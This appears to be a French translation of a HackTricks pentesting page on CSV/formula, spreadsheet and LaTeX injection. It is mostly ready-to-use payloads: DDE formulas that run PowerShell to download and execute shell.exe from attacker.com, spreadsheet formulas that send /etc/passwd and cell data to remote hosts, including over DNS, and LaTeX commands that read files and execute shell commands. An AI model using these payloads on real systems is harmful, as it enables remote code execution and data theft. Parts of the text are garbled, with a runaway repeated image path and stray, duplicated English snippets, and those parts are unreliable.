hacktricks/pentesting-web/formula-doc-latex-injection.md

18 KiB
Raw Blame History

Injection de formules/CSV/Doc/LaTeX

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injection de formules

Info

Si votre entrée est réfléchie dans des fichiers CSV (ou tout autre fichier qui sera probablement ouvert par Excel), vous pouvez peut-être mettre des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsque l'utilisateur clique sur un lien à l'intérieur de la feuille Excel.

{% hint style="danger" %} De nos jours, Excel alertera (plusieurs fois) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher de réaliser des actions malveillantes. Par conséquent, des efforts particuliers en matière d'ingénierie sociale doivent être appliqués à la charge utile finale. {% endhint %}

Liste de mots

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hyperlien

L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).

Exemple tiré de https://payatu.com/csv-injection-basic-to-exploit

Prenons un scénario d'attaque du système de gestion des dossiers d'étudiants d'une école. L'application permet aux enseignants d'entrer les détails des étudiants de l'école. L'attaquant a accès à l'application et souhaite compromettre tous les enseignants utilisant l'application. L'attaquant tente donc de mener une attaque d'injection CSV via l'application web.
L'attaquant souhaite voler les détails d'autres étudiants. Il utilise donc la formule d'hyperlien et l'entre lors de la saisie des détails de l'étudiant.

Lorsque l'enseignant exporte le CSV et clique sur le lien hypertexte, les données sensibles sont envoyées au serveur de l'attaquant.

Le fichier CSV exporté contient une charge malveillante.

Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.

RCE

Pour que cet exemple fonctionne, il est nécessaire d'activer la configuration suivante :
Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques
ou l'utilisation d'une ancienne version d'Excel.

La bonne nouvelle est que cette charge est exécutée automatiquement lorsque le fichier est ouvert (si l'utilisateur accepte les avertissements).

Il est possible d'exécuter une calculatrice avec la charge suivante =cmd|' /C calc'!xxx

![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • Cela lira la première ligne du fichier local /etc/passwd : ='file:///etc/passwd'#$passwd.A1
  • L'exfiltrer : =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Exfiltration DNS : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

Analyse de la charge utile d'exfiltration DNS :

  • file:///etc/passwd#$passwd.A19 - Lira la 19e ligne du fichier local /etc/passwd
  • ENCODEURL('file:///etc/passwd'#$passwd.A19) - Encode l'URL des données renvoyées
  • MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similaire à une sous-chaîne, lit les données du 1er caractère au 41e - une manière très pratique de limiter la longueur des noms d'hôtes DNS (limite de 254 caractères pour un FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
  • SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - remplace toutes les occurrences de % (le caractère spécial de l'encodage d'URL) par un tiret - cela garantit que seuls des caractères DNS valides sont utilisés
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>") - Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
  • WEBSERVICE - Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les journaux (ou exécuter tcpdump, etc.) sur le serveur de noms autoritaire DNS dont nous avons le contrôle

Google Sheets OOB Data Exfiltration

Tout d'abord, présentons certaines des fonctions les plus intéressantes.

CONCATENATE : Concatène des chaînes de caractères les unes aux autres.

=CONCATENATE(A2:E2)

IMPORTXML: Importe des données à partir de différents types de données structurées, y compris XML, HTML, CSV, TSV, et des flux XML RSS et ATOM.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Importe un flux RSS ou ATOM.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Importe les données d'un tableau ou d'une liste à l'intérieur d'une page HTML.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Importe une plage de cellules à partir d'une feuille de calcul spécifiée.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Insère une image dans une cellule.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

Injection LaTeX

Généralement, les serveurs que l'on trouve sur Internet qui convertissent le code LaTeX en PDF utilisent pdflatex.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :

  • --no-shell-escape : Désactive la construction \write18{command}, même si elle est activée dans le fichier texmf.cnf.
  • --shell-restricted : Identique à --shell-escape, mais limité à un ensemble de commandes prédéfinies considérées comme 'sûres' (**Sur Ubuntu 16.04, la liste se trouve dans /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape : Active la construction \write18{command}. La commande peut être n'importe quelle commande shell. Cette construction est normalement désactivée pour des raisons de sécurité.

Cependant, il existe d'autres moyens d'exécuter des commandes, il est donc très important d'utiliser --shell-restricted pour éviter l'exécution de code à distance (RCE).

Lire un fichier

Il se peut que vous ayez besoin d'ajuster l'injection avec des enveloppes telles que [ ou $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lire un fichier d'une seule ligne

To read the contents of a file that contains only a single line, you can use the following command:

cat filename

Replace filename with the name of the file you want to read. This command will display the contents of the file on the terminal.

Lire un fichier d'une seule ligne

Pour lire le contenu d'un fichier qui ne contient qu'une seule ligne, vous pouvez utiliser la commande suivante :

cat nom_fichier

Remplacez nom_fichier par le nom du fichier que vous souhaitez lire. Cette commande affichera le contenu du fichier dans le terminal.

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lire un fichier sur plusieurs lignes

To read a file that contains multiple lines, you can use the following code:

with open('filename.txt', 'r') as file:
    lines = file.readlines()
    for line in lines:
        print(line)

This code opens the file named filename.txt in read mode ('r') and uses the readlines() method to read all the lines in the file. It then iterates over each line and prints it.

Replace 'filename.txt' with the actual name of the file you want to read.

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Écrire un fichier

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Exécution de commandes

L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Injection de code LaTeX dans les formulaires

De @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥